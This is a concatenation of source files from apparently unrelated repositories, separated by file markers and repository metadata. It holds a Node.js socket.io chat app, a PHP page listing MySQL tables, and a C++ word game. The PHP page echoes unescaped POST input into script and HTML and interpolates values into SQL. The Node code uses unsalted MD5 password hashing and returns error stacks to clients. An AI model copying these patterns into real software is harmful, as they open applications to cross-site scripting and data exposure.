if (socketIndex >= 0) {
connectionsArray.splice(socketIndex, 1);
}
});
});
<file_sep>/server/service/notifyService.js
module.exports = {
unreadMessage: function(socket){
//showMem();
var Session = global.dbHelper.getModel('session');
var SessionMember = global.dbHelper.getModel('sessionMember');
if(typeof socket.user == 'undefined'){
return;
}
SessionMember.find({"uId":socket.user._id}).exec(function(err,res){
var sessIdList = [];
var readNumList = {};
res.forEach(function(row){
sessIdList.push(row.sessId);
readNumList[row.sessId] = row.readNum;
});
Session.find().where('_id').in(sessIdList).exec(function(err,sessions){
var sessList = [];
var sum = 0;
for(var i = 0; i < sessions.length; i++){
var session = {};
session.id = sessions[i]._id;
session.totalNum = sessions[i].totalNum;
session.readNum = readNumList[sessions[i]._id];
session.unreadNum = session.totalNum - session.readNum;
sessList.push(session);
sum += session.unreadNum;
}
socket.volatile.emit('unreadMessage', {sessList:sessList,unreadNum:sum});
});
});
}
};
var showMem = function() {
var mem = process.memoryUsage();
var format = function(bytes) {
return (bytes/1024/1024).toFixed(2)+'MB';
};
console.log('------------------------------------------------------------');
console.log('connect num:' + global.connectionsArray.length);
console.log('------------------------------------------------------------');
console.log('Process: heapTotal '+format(mem.heapTotal) + ' heapUsed ' + format(mem.heapUsed) + ' rss ' + format(mem.rss));
console.log('------------------------------------------------------------');
};<file_sep>/server/routes/user.js
var mycrypto = require('../common/mycrypto');
module.exports = function ( app ) {
//创建会话
app.post("/user/create",function(req,res){
F.co(function *() {
var User = global.dbHelper.getModel('user');
var user = {
username: req.body.username,
nickname: typeof req.body.nickname!='undefined' && req.body.nickname!=''?req.body.nickname:req.body.username,
password: <PASSWORD>(req.body.password)
};
//console.log(user);
var userInfo = yield User.findOne({username:user.username});
if(userInfo){
userInfo.password = <PASSWORD>;
res.json({status:false,msg:'username has existed',data:userInfo});
}else{
userInfo = yield User.create(user);
if(userInfo){
userInfo.password = <PASSWORD>;
res.json({status:true,msg:'create user success',data:userInfo});
}
}
}, function(err){
// 统一服务错误处理
res.status(500);
res.json({
status: {
code: 2,
msg: 'error'
},
data: err.stack
});
});
});
};<file_sep>/server/test.js
var mongoose = require("mongoose");
global.dbHelper = require('./common/dbHelper');
global.db = mongoose.connect("mongodb://10.5.126.177:27017/notify");
var User = global.dbHelper.getModel('user');
var user = new User({
username: 'lee',
password: '<PASSWORD>'
})
user.save(function(err) {
if (err) {
console.log('error')
return;
}
});
var Article = global.dbHelper.getModel('article');
var article = new Article({
title: 'test',
uId: '57bc0db051617a230<PASSWORD>',
author: 'lee',
description: '123'
})
article.save(function(err) {
if (err) {
console.log('error')
return;
}
});
var Message = global.dbHelper.getModel('message');
var message = new Message({
uId: '57bc0db051617a230845ee43',
unread: 4
})
message.save(function(err) {
if (err) {
console.log('error')
return;
}
});
//保存数据库
User.find({},function(error,userInfo){
console.log(User,error,userInfo);
});<file_sep>/server/mq1.js
global.mqConfig = {
host: "10.5.123.110",
port: 5672,
login: "woordee_develop",
password: "<PASSWORD>",
exchName: "weTransnExchange",
routeKey: "we.transn.imsn"
};
var mqService = require('./service/mqService');
var message = {test:"test message"};
mqService.publishMQ(message);<file_sep>/server/routes/file-upload.js
var fs = require('fs');
var multipart = require('connect-multiparty');
var multipartMiddleware = multipart();
var qiniuService = require('../service/qiniuService');
module.exports = function ( app ) {
app.post('/file-upload', multipartMiddleware, function(req, res) {
// 获得文件的临时路径
//console.log(req.files);
qiniuService.uploadFile(req.files.file.path, req.files.file.originalFilename, function(err, ret){
if(!err) {
//res.end('<script type="text/javascript">window.name = "I was there!";</script>');
// 上传成功, 处理返回值
res.json({
'code': 0, //0表示成功,其它表示失败
'msg': '', //失败信息
'data': {
'src': global.qiniuConfig.DOWNLOAD_URL+ret.key, //文件url
'name': ret.key //文件名
}
});
//res.json({status:true,msg:'upload success!',url:'http://ocpofo0bq.bkt.clouddn.com/'+ret.key});
} else {
// 上传失败, 处理返回代码
res.json({
'code': 1 //0表示成功,其它表示失败
,'msg': 'upload faild!' //失败信息
});
//res.json({status:true,msg:'upload faild!'});
}
});
});
}<file_sep>/server/routes/chat.js
var chatModel = require('../model/chatModel');
module.exports = function ( app ) {
//创建会话
app.post("/chat/create",function(req,res){
//console.log(req.body);
var nickname = typeof req.body.nickname!='undefined' && req.body.nickname!=''?req.body.nickname:req.body.username;
chatModel.createSession(res, req.body.username, req.body.sessname, nickname);
});
//加入会话
app.post("/chat/addSession",function(req,res){
var nickname = typeof req.body.nickname!='undefined' && req.body.nickname!=''?req.body.nickname:req.body.username;
chatModel.addToSession(res, req.body.username, req.body.sessid, nickname);
});
//踢出会话
app.post("/chat/kickSession",function(req,res){
chatModel.kickSession(res, req.body.username, req.body.sessid);
});
//发消息
app.post("/chat/send",function(req,res){
chatModel.sendMessage(res, req.body.username, req.body.sessid, req.body.content);
});
//获取用户会话列表
app.get("/chat/sessList/:username",function(req,res){
chatModel.getSessList(res, req.params.username);
});
//获取用户会话列表
app.get("/chat/memberList",function(req,res){
chatModel.getMemberList(res, req.query.id);
});
//获取历史消息
app.get("/chat/history",function(req,res){
chatModel.getHistorySessionLog(res, req.query.id, req.query.uid);
});
}
<file_sep>/README.md
# instantMessage
基于nodejs开发的web即时通讯
# 项目说明
client 目录为客户端demo
clientAPI 目录为前端API,只需要引入接口js文件和配置文件
采用socket.io处理websocket的消息推送,前端使用layIM扩展成简易API方便使用
使用co函数处理异步操作,nodejs版本需要支持ES6 promise/generator
# 授权协议
免费,且开源,基于LGPL协议。
<file_sep>/server/start.sh
#/usr/bash
count=`lsof -i :88|wc -l`
echo $count
if [ $count -lt 1 ]; then
cd `dirname $0`
pwd
/usr/bin/node app.js >> myLog.log 2>&1 &
DATETIME=$(date +%Y%m%d%H%M%S)
echo "$DATETIME nodeserver reboot" >> ./reboot.log
fi
<file_sep>/server/common/function.js
/**
* Created by Transn on 2016-11-14.
*/
var
funcs,
crypto = require('crypto'),
co = require('co');
funcs = {
// 管理员账号加密
encrypt: function (pwd) {
return crypto.createHash('md5').update(pwd).digest('hex');
},
// 格式化日期
date: require('mo2js').date,
// wrap co
co: function(success, error) {
co(success).catch(error)
},
// node命令中的参数
argv: require('minimist')(process.argv.slice(2))
}
module.exports = funcs;
<file_sep>/client/js/chat.js
/**
* Created by Lee on 2016-10-9.
*/
var IMlanguage = {
'人': ' person',
'聊天记录': 'Chat record',
'发送': 'Send',
'关闭': 'Close',
'按Enter键发送消息': 'Send by Enter',
'按Ctrl+Enter键发送消息': 'Send by Ctrl+Enter',
'与 ': 'With ',
' 的聊天记录': ' chat record',
'图片格式不对': 'Picture format wrong',
'上传失败': 'Upload failed',
'下载文件': 'Download File',
'没有文件上传': 'No file upload',
'钉一下': 'Ding',
'全选': 'All select',
'请选择要钉的人': 'Please choose the person you want to nail.',
'此消息发送至对方注册手机或注册邮箱': 'This message is sent to the other side of the registered mobile phone or registered mail.',
'确定': 'Confirm',
'钉成功': 'Ding success.'
};
window.IML = function(word){
if(typeof CONFIG.language != 'undefined' && CONFIG.language == 'en'){
return IMlanguage[word]?IMlanguage[word]:word;
}
return word;
};
var loginStatus = false;
var serviceList = {sList:['unreadMessage']};
//var socket = io.connect(CONFIG.url, {transports:['jsonp-polling']});
var socket = io.connect(CONFIG.url);
//console.log(socket);
socket.on('connect', function(){
socket.emit('login', {username: username, password: <PASSWORD>});
});
function getUnreadMessage(){
if(loginStatus){
socket.emit('unreadMessage', null);
}
}
// 把信息显示到div上
socket.on('login', function (data) {
//console.log(data);
if(data.status){
loginStatus = true;
getUnreadMessage();
}else{
socket.emit('disconnect', null);
console.log(data.msg);
}
});
socket.on('unreadMessage', function (data) {
//console.log(data);
if(typeof setGroupUnreadCount != 'undefined'){
setGroupUnreadCount(data.sessList);
}
if(typeof setUnreadCount != 'undefined'){
setUnreadCount(data.unreadNum);
}
});
layui.use('layim', function(layim){
//基础配置
layim.config({
//初始化接口
init: {
//url: './json/getList.json'
url: CONFIG.url+'/chat/sessList/'+username
,data: {}
}
//简约模式(不显示主面板)
//,brief: true
//查看群员接口
,members: {
//url: './json/getMembers.json'
url: CONFIG.url+'/chat/memberList'
,data: {}
}
,uploadImage: {
url: CONFIG.url+'/file-upload' //(返回的数据格式见下文)
,type: '' //默认post
}
,uploadFile: {
url: CONFIG.url+'/file-upload' //(返回的数据格式见下文)
,type: '' //默认post
}
,dingSwitch: typeof CONFIG.dingSwitch == 'undefined' ? false : CONFIG.dingSwitch
,dingURL: CONFIG.url+'/ding'
//,skin: ['aaa.jpg'] //新增皮肤
,isfriend: false //是否开启好友
//,isgroup: false //是否开启群组
//,min: false //是否始终最小化主面板(默认false)
,hide: true //是否始终隐藏主面板(默认false)
,chatLog: CONFIG.url+'/chat/history'
// ,chatLog: './demo/chatlog.html' //聊天记录地址
,find: './demo/find.html'
//,copyright: true //是否授权
});
//监听发送消息
layim.on('sendMessage', function(data){
var To = data.to;
//console.log(data);
//发送消息
var message = {username:data.mine.username,sessId:To.id,content:data.mine.content};
socket.emit('sendMessage', message);
});
//监听在线状态的切换事件
layim.on('online', function(data){
console.log(data);
});
//layim建立就绪
layim.on('ready', function(res){
var groupList = layim.cache().group;
window.initCallback && window.initCallback(groupList);
});
//监听查看群员
layim.on('members', function(data){
//console.log(data);
});
//监听聊天窗口的切换
layim.on('chatChange', function(data){
console.log('chatChange');
socket.emit('setCurrSession', {sessId:data.data.id});
});
//监听收到的聊天消息
socket.on('instantMessage', function(messList){
//console.log(messList);
messList.forEach(function(mess){
var obj = {
username: mess.userInfo.username
,avatar: mess.userInfo.avatar
,id: mess.sessId
,type: 'group'
,mine: mess.mine
,timestamp: mess.sendTime
,content: mess.content
};
//if(!obj.mine){
layim.getMessage(obj);
//}
});
});
layim.on('closeThisChat',function(data){
console.log('closeThisChat');
socket.emit('emptyCurrSession', null);
});
function getGroupInfo(id){
var groupList = layim.cache().group;
for(var i in groupList){
if(id == groupList[i].id){
return groupList[i];
}
}
return;
}
$(document).delegate('.layui-layer-close','click',function(){
console.log('cancelIM');
socket.emit('emptyCurrSession', null);
});
$(document).delegate("#showHistoryBox",'click',function(){
var id = $(this).attr('qunId');
var sessname = $(this).attr('sessname');
var data = {id: id, name:sessname}
layim.showHistoryLog(data);
});
$(document).delegate(imIdClass,'click',function(){
var id = $(this).find('.qunUnreadNum').attr('qunId');
//var _sesionId = '57c8f0aba0ea35c42646f300';
var groupInfo = getGroupInfo(id);
if(groupInfo) {
layim.chat({
name: groupInfo.groupname
, type: 'group' //群组类型
, avatar: groupInfo.avatar
, id: groupInfo.id //定义唯一的id方便你处理信息
});
}else if(username == superUser){
$.ajax({
type: 'POST',
url: CONFIG.url+'/chat/addSession',
dataType: "json",
timeout: 20000,
data: {username:username,sessid:id,nickname:'PM'},
beforeSend: function(XMLHttpRequest) {
},
success: function(data, textStatus) {
if(data.status){
layim.addDataList(data.data);
groupInfo = getGroupInfo(id);
layim.chat({
name: groupInfo.groupname
,type: 'group' //群组类型
,avatar: groupInfo.avatar
,id: groupInfo.id //定义唯一的id方便你处理信息
});
}
}
});
}
});
}); | 545412ebab5c0d9a488464ed6b5a6c5635ab3409 | [
"JavaScript",
"HTML",
"Markdown",
"Shell"
] | 24 | JavaScript | jackjet870/instantMessage | 76d3429e1b70cb374f506d0628cf355e043797bb | 63425e97e6ba5b319740596213da093606539e6a |
refs/heads/main | <repo_name>ivanovdmitri/sql_php_sandbox<file_sep>/sql_tables.php
<!-- A simple PHP file that queries tables of SQL database that contain numeric
and string values and distplays the results in HTML table format -->
<?php
// SQL login credentials.
// Confidential info which is different for different users.
const __lgin_creds__ =
["hostname" => "secret", // name of the host on which SQL is running, best to run it on localhost
"username" => "top_secret", // user name for the data base access
"password" => "<PASSWORD>"]; // password for the data base access
const __db_name__ = "secret"; // default data base name
const __nrowsmax__ = 5; // default maximum number of queried rows
const __NROWSMAX__ = 100000; // top limit on the number of rows a user can request
// Function to obtain table rows from the data base. Arguments:
// creds: an array of login credentials (default is set to an array of constants)
// dbname: data base name (default is set to a constant value)
// table: table within the data base to display; if (default) null is used then pick a random available table
// nrowsmax: maximum number of rows to display (default is set to a global constant defined above)
function queryDb($creds = __lgin_creds__, $dbname = __db_name__, $table = null, $nrowsmax = __nrowsmax__) {
// Create a connection to the data base
$conn = new mysqli($creds["hostname"],$creds["username"],$creds["password"],$dbname);
// Check the connection
if ($conn->connect_error) {
return null; // return null result if failed, indicating a bad request
}
// pick a random table if none was provided as an argument
if($table===null){
$cmd="SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA = '${dbname}' ORDER BY RAND() LIMIT 1;";
$resp = $conn->query($cmd);
if($resp->num_rows == 0) {
return null; // if nothing came back, return a bad request
}
$table=$resp->fetch_assoc()["TABLE_NAME"];
}
// get column names for the table
$cmd = "SHOW COLUMNS FROM ${table};";
$columns=$conn->query($cmd);
// get rows from the table
$cmd = "SELECT * FROM ${table} LIMIT ${nrowsmax};";
$data=$conn->query($cmd);
// close the connection
$conn->close();
// return an array with table name, table column names as an array, and table row data
return ["table" => $table, "columns" => $columns, "data" => $data];
}
// function that returns a list of tables in the given data base
// Arguments:
// creds: an array of login credentials (default is set to an array of constants)
// dbname: data base name (default is set to a constant value)
function get_tables($creds = __lgin_creds__, $dbname = __db_name__) {
// Create connection
$conn = new mysqli($creds["hostname"],$creds["username"],$creds["password"],$dbname);
// Check connection
if ($conn->connect_error) {
return null; // return null (bad request) if the connection failed
}
$cmd="SELECT TABLE_NAME FROM information_schema.tables where
TABLE_SCHEMA = '" . $dbname . "';";
$resp = $conn->query($cmd);
if($resp->num_rows == 0) {
return null;
}
$tables = array();
while($row=$resp->fetch_assoc()){
array_push($tables,$row["TABLE_NAME"]);
}
$conn->close();
// return the table names as an array
return $tables;
}
?>
<!--- HTML starts, set some CSS styles -->
<!DOCTYPE html>
<html>
<head>
<style>
body {background-color: powderblue;}
/* To split the deisplay area into two column pars */
.grid-container {
display: grid;
grid-template: auto / 30% 70%;
background-color: white;
justify-items: center;
padding: 25px;
}
.grid-left {
text-align: center;
justify-items: center;
width: 100%;
}
.grid-right {
width: auto;
}
table {
width: 100%;
}
</style>
</head>
<body>
<!-- grid container starts -->
<div class="grid-container">
<!-- left division of the grid container starts -->
<div class="grid-left">
<form id="table-frm" name="table-frm" accept-charset="utf-8" action="#" method="post">
<label for="nrowsmax">Max number of rows:</label>
<input type="number" id="nrowsmax" name="nrowsmax" value=<?='"' . __nrowsmax__ . '"'?> min="0"
max=<?='"' . __NROWSMAX__ . '"'?> step="1">
<br> <br><br>
<label for="table">Select the table:</label>
<br><br>
<select name="table" id="table" onchange="this.form.submit();">
<option value="Choose" selected="" disabled="">Choose reconstruction</option>
<?php
// insert a list of tables in the chosen default data base into HTML select option list
$tables=get_tables();
foreach($tables as $tbl) echo '<option value="' . $tbl . '">' . $tbl . '</option>';
?>
</select>
<?php
// HTML tags and java script statements to add the submit button and to show previously submitted values in the form field
if ($_SERVER['REQUEST_METHOD'] == 'POST' && $_POST['table']) {
echo '<br><br><br>';
echo '<input id = "table_frm_submit" type = "submit" value = "Submit">';
echo '<script type="text/javascript">';
echo 'document.getElementById(\'table\').value = ' . '\'' . $_POST['table'] . '\';';
echo 'document.getElementById(\'nrowsmax\').value = ' . $_POST['nrowsmax'] . ';';
echo '</script>';
}
?>
</form>
<!-- left division of the grid container ends -->
</div>
<!-- right division of the grid container starts -->
<div class="grid-right">
<?php
// if the request has been submitted via post method then display the SQL
// query as a HTML table in the right division of the CSS grid container
if ( $_SERVER['REQUEST_METHOD'] == 'POST' && $_POST['table']) {
$key = array_search($_POST['table'],$tables);
if($key === false) {
die("<br>Bad request made! <br>");
}
$nrowsmax = null;
if(array_key_exists("nrowsmax",$_POST)) {
$nrowsmax = filter_var($_POST["nrowsmax"], FILTER_SANITIZE_NUMBER_INT,
array("options"=>array("min_range"=>0, "max_range"=>__NROWSMAX__)));
if($nrowsmax === false) {
$nrowsmax = null;
}
}
// submit the query with default login credentials and data base,
// and chosen table name and the maximum number of rows to show
$result = queryDb(__lgin_creds__,__db_name__,$tables[$key],$nrowsmax);
// if the query returned null result then stop the script imap_append
// display an error message
if(!$result) {
die("<br>Bad request made! <br>");
}
echo "<br>";
echo "<table id = dataset border='1' width='100%'>";
// show table name as a caption of the table
echo "<caption>".$result["table"]."</caption>";
// proceed with construction of the table entries if the number of num_rows
// received is greater than zero
if ($result["data"]->num_rows > 0) {
// use the SQL table field descriptors as HTML talble column names
echo "<tr>";
// iterating over each column name
while($col = $result["columns"]->fetch_assoc()) {
echo "<th>" . $col["Field"] . "</th>";
}
echo "</tr>";
echo "<tr>";
// output data of each row in HTML format
$nrows=0; // count the number of rows received
// iterating over each row
while($row = $result["data"]->fetch_assoc()) {
echo "<tr>";
// iterate over each field of the row and insert its value into HTML
// table
foreach ($row as $field => $value) {
echo "<td>" . $value . "</td>";
}
echo "</tr>";
$nrows ++;
}
// show the number of rows in the footer
echo"<tfoot>
<tr>
<td>Nrows</td>
<td>${nrows}</td>
</tr>
</tfoot>";
} else {
echo "0 results";
}
}
?>
<!-- right division of the grid container ends -->
</div>
<!-- grid container ends -->
</div>
</body>
</html>
<file_sep>/README.md
# sql_php_sandbox
# Simple boilerplate HTML / PHP/ Javascript codes for working with SQL data bases
## Tested with:
- mysql Ver 8.0.23
- PHP 7.4.3
- Mozilla Firefox 85.0.1
- Javascript 1.5
## File sql_tables.php
Displays a simple HTML form that gives the choice of tables within some predefined
SQL database, and allows one to send query via post method. The script renders the resulting table in HTML format, assuming
that the table contains numeric and string values. Uses minimal HTML, Javascript, and CSS styling.
One should change these constants to correspond to the desired SQL host, account, and the data base.
```PHP
// SQL login credentials.
// Confidential info which is different for different users.
const __lgin_creds__ =
["hostname" => "secret", // name of the host on which SQL is running, best to run it on localhost
"username" => "top_secret", // user name for the data base access
"password" => "<PASSWORD>"]; // password for the data base access
const __db_name__ = "secret"; // default data base name
const __nrowsmax__ = 5; // default maximum number of queried rows
const __NROWSMAX__ = 100000; // top limit on the number of rows a user can request
```
| a94caafc88bf6ee6611ee63e41632b05e240bbfd | [
"Markdown",
"PHP"
] | 2 | PHP | ivanovdmitri/sql_php_sandbox | c21f147f2fa0062484af6f270a97af2230e977ae | 45882cb2e7e79feff319b42a18cc22a387fe6620 |
refs/heads/master | <repo_name>savannah-yahsuanlin/typescript-todoApp<file_sep>/README.md
# プロジェクト名
- TypeScript ToDo App
# 公開URL
# App image
https://kosukenemy.github.io/typescript-todoApp/
## プロジェクトイメージ

## 利用技術
- Sass
- TypeScript
- Webpack<file_sep>/src/main.ts
class Todo {
addTodo:any
createTodo:any
addListTarget:any
modalState:boolean
constructor(props:any){
this.addTodo = document.querySelector<HTMLElement>(props.inputhook);
this.createTodo = document.querySelector<HTMLElement>(props.submit);
this.addListTarget = document.querySelector<HTMLElement>(props.showTarget);
this.modalState = false;
this.InputTodos();
this.deleteTodoList();
this.editTodoList();
this.setStoredTodos();
}
InputTodos() {
this.addTodo.addEventListener('change' , (e: any): void => {
e.preventDefault();
let inputVal: string = e.target.value;
this.addTodoList(inputVal)
})
}
addTodoList(inputVal:string){
const clear:string = "";
this.createTodo.addEventListener('click' , (e: any): void => {
e.preventDefault();
if ( !inputVal.trim() ) {
return null
} else {
const newTask = `
<div class="list">
<p class="content">${inputVal}</p>
<div class="menu">
<button class="editBtn btn">編集</button>
<button class="deleteBtn btn">削除</button>
</div>
</div>
`;
this.addListTarget.insertAdjacentHTML('beforeend' , newTask );
this.addTodo.value = clear;
inputVal = clear;
this.deleteTodoList();
this.editTodoList();
this.storeLocalStorage();
}
})
}
deleteTodoList(){
const Todos = document.querySelectorAll<HTMLElement>('.list');
const deleteBtns = document.querySelectorAll<HTMLElement>('.deleteBtn');
deleteBtns.forEach((deleteBtn , index) => {
deleteBtn.addEventListener('click' , () => {
Todos[index].remove();
this.storeLocalStorage();
})
})
}
editTodoList(){
const modalOverlay = document.querySelector<HTMLElement>('.modal-overlay');
const editBtns = document.querySelectorAll<HTMLElement>('.editBtn');
const contents = document.querySelectorAll<HTMLElement>('.content');
editBtns.forEach((editBtn , index) => {
editBtn.addEventListener('click' , (e: any): void => {
e.preventDefault();
const _target:HTMLElement = contents[index];
const _index:number = index;
const modal = document.querySelector<HTMLElement>('.modal');
modal.classList.remove('js-is-close');
modal.classList.add('js-is-open');
modalOverlay.classList.remove('js-modal-off');
this.editTodoModalOpen(_target , _index , modal , modalOverlay);
})
})
}
editTodoModalOpen(_target:HTMLElement , _index:number , modal:HTMLElement , modalOverlay:HTMLElement ) {
this.modalState = true;
const taskContent:string = _target.textContent;
let modal_inner:string = `
<div class="modal_inner">
<input class="editNow" type="text" value=${taskContent}><p class="none">${taskContent}</p>
<div>
<button class="updateBtn">更新</button>
</div>
</div>
`;
modal.innerHTML = modal_inner;
const editContentInput = document.querySelector<HTMLInputElement>('.editNow');
const updateBtn = document.querySelector<HTMLElement>('.updateBtn');
editContentInput.addEventListener('change' , (e: any ) :void => {
_target.textContent = e.target.value;
this.storeLocalStorage();
})
updateBtn.addEventListener('click' , () => {
let clear:string = "";
editContentInput.value = clear;
modal.classList.add('js-is-close');
modal.classList.remove('js-is-open');
modalOverlay.classList.add('js-modal-off')
})
}
storeLocalStorage(){
let tasks:string[] = [];
const lists = document.querySelectorAll<HTMLElement>('.list p');
lists.forEach(list => { tasks.push(list.textContent) })
window.localStorage.setItem('tasks' , JSON.stringify(tasks) );
}
setStoredTodos() {
const callTasks:string[] = JSON.parse(window.localStorage.getItem('tasks'));
callTasks.map( task => {
const newTask = `
<div class="list">
<p class="content">${task}</p>
<div class="menu">
<button class="editBtn btn">編集</button>
<button class="deleteBtn btn">削除</button>
</div>
</div>
`;
this.addListTarget.insertAdjacentHTML('beforeend' , newTask );
this.deleteTodoList();
this.editTodoList();
})
}
}
const newTodo = new Todo({
inputhook : '.addTodo',
submit : '.submit',
showTarget : '.todolist'
});
| 78b874353db2393fa3424093d563a5b2476845b6 | [
"Markdown",
"TypeScript"
] | 2 | Markdown | savannah-yahsuanlin/typescript-todoApp | 6a8345f0469e486071c128bde873bcee6c978c25 | ccd5c5d26b1d4729f4c8cd4f094bce3cef820d81 |
refs/heads/master | <repo_name>lbarney/giphyAPI<file_sep>/app.js
$(function(){
$("#subButton").on('click', function (){
var search = $("#inputText").val();
$(".gifList").empty();
$.ajax({
method: "GET",
url: "http://api.giphy.com/v1/gifs/search?q=" + search + "&api_key=<KEY>"
}).done(function(response){
console.log(response.data);
for(var i = 0; i < response.data.length; i++){
var pic = response.data[i].images.downsized.url;
console.log(pic);
$(".gifList").append("<img src= " + pic + ">");
};
});
});
});
| e22d83532f90586a0da76b29275d7f67e88566c6 | [
"JavaScript"
] | 1 | JavaScript | lbarney/giphyAPI | 6694d21c4440d190b341d45a8ae3df7aa150697d | fe3f5553c4bfb424233d1802a5fa7da1b45fc15a |
refs/heads/master | <file_sep>#include <iostream>
#include <string>
#include <cmath>
#include <vector>
#include <ctime>
#include <cstdio>
#include <cstdlib>
#include <array>
#include <fstream>
#include <sstream>
#include <map>
#include <random>
#include <cassert>
#include "ownUtil.hpp"
using namespace std;
#define WIN
#ifndef _RANDOM_H
#define _RANDOM_H
// Datei: random.cpp
class Random
{
private: //Zufallsgenerator
Random()
{
std::srand(static_cast<int>(std::time(NULL)));
}
public:
static int rnd(int lowerbounds, int upperbounds)
{
static Random dummy;
assert(upperbounds - lowerbounds < RAND_MAX);
return lowerbounds + std::rand() % (upperbounds - lowerbounds + 1);
}
static unsigned int rnd32()
{
static Random dummy;
int rnd1 = rand();
int rnd2 = rand();
int rnd3 = rand();
unsigned int bigrnd = ((rnd1 & 0x03) << 30) + (rnd2 << 15) + rnd3;
}
};
#endif
int max(int a, int b) { //max wert ermitteln
return a > b ? a : b;
}
void clearScreen() { //consoleninhalt löschen
#if defined(WIN32)
system("cls");
#endif
#if defined(LINUX)
system("clear");
#endif
}
void pause() {
#ifdef WIN32
system("pause");
#endif
#ifndef WIN
int i;
cin >> i;
#endif
}
bool abgleich()
{
return false;
}
bool abgleich(string wortNeu) {
//ifstream liest allewoerter.txt in datei ein
string pruefwort = wortNeu;
ifstream datei;
string zeile; //
bool wahr = false;
datei.open("C:/Users/corat/Source/Repos/letters/alleworter_klein.txt");
if (datei.is_open()) {
while (getline(datei, zeile)) //durchkämmt zeile für zeile
{
for (int i = 0; i < zeile.size(); i++) {
if (zeile[i] == 13) //ersetzt Zeilenumbrüche mit leerzeichen
{
zeile[i] = ' ';
}
}
for (int i = 0; i < zeile.size(); i++) {
if (pruefwort == zeile) {
cout << pruefwort << " - gueltiges Wort !";
wahr = true;
break;
}
}
}
}
else {
cerr << "fehler beim oeffnen der Datei";
}
cout << endl;
return wahr;
}
int umwandeln(string& eingabe, string& eingabe2, char auswahl[], char auswahl1, string& wortNeu, unsigned int loeschzeichen, unsigned int anzahl) {
eingabe.copy(auswahl, 1, loeschzeichen - 1); //kopiert nach dem loeschzahl zeichen 1 zeichen in auswahl(muss char[] sein)
int b = auswahl[0];
auswahl1 = b;
//
wortNeu.append(1, auswahl1); //fügt ausgewähltes zeichen in das erratene wort
eingabe.replace(loeschzeichen - 1, 1, "_"); //ersetzt nach dem loeschzahl 1 zeichen
//eingabe.erase(loeschzeichen - 1, 1); //ersetzt nach dem loeschzahl 1 zeichen
//zeichenLoeschen(loeschzeichen, eingabe);
cout << "\nDein Wort: " << wortNeu << endl << endl;
cout << "\nEs bleiben diese Buchstaben zur weiteren Auswahl \n" << eingabe << endl;
return anzahl;
}
int benutzereingabe(unsigned int& x) { //Eingabe des 'x'ten Zeichens zur Auswahl aus den zur Verfügung stehenden Zeichen
do {
cin.clear();
cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n');
cin >> x;
} while (!cin);
return x;
}
bool ueberpruefen(unsigned int stelle, unsigned int menge, bool& pruefer) {
unsigned int loeschzeichen = stelle;
//cout << pruefer << '\t' << loeschzeichen << '\t' << menge << '\t' << stelle << endl;
if (loeschzeichen > menge) {
menge++;
cout << "\nDiese Stelle ist nicht belegt! Probiere eine Position zwischen 1 und " << menge - 1;
cout << "\nProbiers nochmal!" << endl;
benutzereingabe(menge);
pruefer = false;
return pruefer;
}
else if (loeschzeichen < 0) {
menge++;
cout << "\nDeine Eingabe war ungültig! Probiere eine Position zwischen 1 und " << menge;
cout << "\nProbiers nochmal!" << endl;
benutzereingabe(menge);
pruefer = false;
return pruefer;
}
else if (loeschzeichen == 0) {
pruefer = false;
return pruefer;
}
return pruefer;
}
void vergleichen(unsigned int& anzahl) {
while (anzahl < 1 || anzahl > 20) {
cout << "\nBitte eine Auswahl zwischen 0 und 20 treffen! \n" << endl << "Nochmal bitte. " << endl;
cout << "Wieviele Buchstaben moechtest du sortieren (max 10)?" << endl;
benutzereingabe(anzahl);
}
cout << "\nDu moechtest es also mit " << anzahl << " Buchtsaben versuchen." << endl;
}
char wortbilden(int anzahl, unsigned int& kopie) { //https://en.cppreference.com/w/cpp/numeric/random/discrete_distribution
//Zuffalsgenerator erstellt mit array mit anzahl zeichen unter
//Berücksichtigung der Wahrscheinlichkeit des Vorkommens einzelnen Buchstaben im deutschen Wortschatz
std::random_device rd;
std::mt19937 gen(rd());
std::discrete_distribution<> d({ 1740, 978, 755, 727, 700, 651, 615, 508, 476, 435, 344, 306, 301, 253, 251, 189, 189, 166, 121, 112, 79, 67, 27, 4, 3, 2 }); // Wahrscheinlichkeit des Vorkommens einzelnen Buchstaben im deutschen Wortschatz
std::map<int, int> m;
for (int n = 0; n < anzahl; ++n) {
++m[d(gen)];
kopie = d(gen) + 97;
return kopie;
}
}
unsigned int SCHALTER(unsigned int& loeschzeichen, int& schalter) {
if (loeschzeichen == 1 || loeschzeichen == 2) {
schalter = 1;
return schalter;
}
else if (loeschzeichen == 3 || loeschzeichen == 4) {
schalter = 2;
return schalter;
}
else if (loeschzeichen == 5 || loeschzeichen == 6) {
schalter = 3;
return schalter;
}
else if (loeschzeichen == 7 || loeschzeichen == 8) {
schalter = 4;
return schalter;
}
else if (loeschzeichen == 9 || loeschzeichen == 10) {
schalter = 5;
return schalter;
}
else if (loeschzeichen == 11 || loeschzeichen == 12) {
schalter = 6;
return schalter;
}
else if (loeschzeichen == 13 || loeschzeichen == 14) {
schalter = 7;
return schalter;
}
else if (loeschzeichen == 15 || loeschzeichen == 16) {
schalter = 8;
return schalter;
}
else if (loeschzeichen == 17 || loeschzeichen == 18) {
schalter = 9;
return schalter;
}
else if (loeschzeichen == 19 || loeschzeichen == 20) {
schalter = 10;
return schalter;
}
}
unsigned int zuordnung(int schalter, unsigned int& loeschzeichen) {
switch (schalter) {
case 1:
loeschzeichen = loeschzeichen;
return loeschzeichen;
break;
case 2:
loeschzeichen = loeschzeichen + 1;
return (loeschzeichen);
break;
case 3:
loeschzeichen = loeschzeichen + 2;
return (loeschzeichen);
break;
case 4:
loeschzeichen = loeschzeichen + 3;
return (loeschzeichen);
break;
case 5:
loeschzeichen = loeschzeichen + 4;
return (loeschzeichen);
break;
case 6:
loeschzeichen = loeschzeichen + 5;
return (loeschzeichen);
break;
case 7:
loeschzeichen = loeschzeichen + 6;
return (loeschzeichen);
break;
case 8:
loeschzeichen = loeschzeichen + 7;
return (loeschzeichen);
break;
case 9:
loeschzeichen = loeschzeichen + 8;
return (loeschzeichen);
break;
case 10:
loeschzeichen = loeschzeichen + 9;
return (loeschzeichen);
break;
default:
break;
}
return loeschzeichen;
}<file_sep>#pragma once
int max(int, int);
void clearScreen();
void pause();
class Random;
//Abgleich mit existierenden deutschen Worten
bool abgleich(std::string wortNeu);
//Neues Wort bauen, altes abbauen
